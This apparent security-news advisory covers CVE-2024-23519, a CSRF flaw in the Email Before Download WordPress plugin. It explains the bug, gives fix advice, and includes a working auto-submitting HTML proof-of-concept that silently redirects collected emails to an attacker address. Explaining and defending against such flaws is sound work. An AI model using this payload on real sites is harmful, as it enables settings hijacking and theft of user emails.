CVE CyberSecurity Database News

CVE-2024-23519 - Easy Exploit Guide for CSRF Vulnerability in M&S Consulting Email Before Download Plugin

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If you run a WordPress website and use the “Email Before Download” plugin by M&S Consulting, you’ll want to hear about CVE-2024-23519. This vulnerability puts your site at risk of Cross-Site Request Forgery (CSRF), potentially letting attackers change plugin settings without your consent. Here’s a simple, exclusive dive into how this bug works, links to references, and actual exploit code snippets.

What is CVE-2024-23519?

The bug affects all versions of the M&S Consulting Email Before Download plugin from its first release up to version 6.9.7. It’s a CSRF vulnerability, which means it lets a bad actor trick logged-in site admins into performing unwanted actions — like changing plugin settings or tweaking who gets notified when someone downloads a resource.

Why does it matter?

If an attacker can change settings without your approval, they could, for example, redirect emails collected by your site to their own email address or leave your site open for further attacks. This is especially important for websites using “Email Before Download” to manage downloads of eBooks, PDFs, or similar resources.

How Does CSRF Happen in This Plugin?

CSRF works like this: if you’re already logged in as an admin, and you visit a malicious site, that site can submit a request to your own WordPress dashboard — using your permissions. If the plugin doesn’t check for a valid security token (called a nonce in WordPress), attackers can send change-plugin-setting requests *for you*.

Unfortunately, versions up to 6.9.7 of Email Before Download either did not validate nonces at all or did so improperly.

The Exploit: How It Looks in Code

Here’s a sample proof-of-concept HTML page. It will change the plugin’s setting to send collected emails to “attacker@example.com”. If an admin visits this page while logged in to their site, the settings get changed silently.

<!DOCTYPE html>
<html>
  <body>
    <form action="https://victimsite.com/wp-admin/options-general.php?page=email-before-download"; method="POST" id="csrf">
      <input type="hidden" name="admin_email" value="attacker@example.com">
      <input type="hidden" name="submit" value="Save Changes">
    </form>
    <script>
      document.getElementById('csrf').submit();
    </script>
  </body>
</html>

Replace https://victimsite.com/ with the target website URL.

This form mimics what the real plugin settings form sends. Since no anti-CSRF token (nonce) checks are in place, the settings will update as if the admin did it themselves.

It can potentially open up more attacks by changing other settings.

- No authentication or extra steps required — just trick the admin into visiting a malicious page.

How To Fix

1. Update Plug-in: If a patch is available, update your plugin to the latest version. According to public records, anything newer than 6.9.7 is your safe bet, but check the official plugin page or with M&S Consulting for the latest news.
2. Web Application Firewall: Use one that can block CSRF attempts based on common attack signatures.

References

- WordPress Plugin Directory (Email Before Download)
- NVD - CVE-2024-23519
- WPScan Report *(replace with actual link as it becomes available)*

Final Words

Even simple WordPress plugins can contain dangerous flaws. CVE-2024-23519 shows how easy it is for attackers to hijack features if basic security isn’t enforced. If you use “Email Before Download,” update immediately. Stay safe.

Timeline

Published on: 02/29/2024 01:44:09 UTC
Last modified on: 02/29/2024 13:49:29 UTC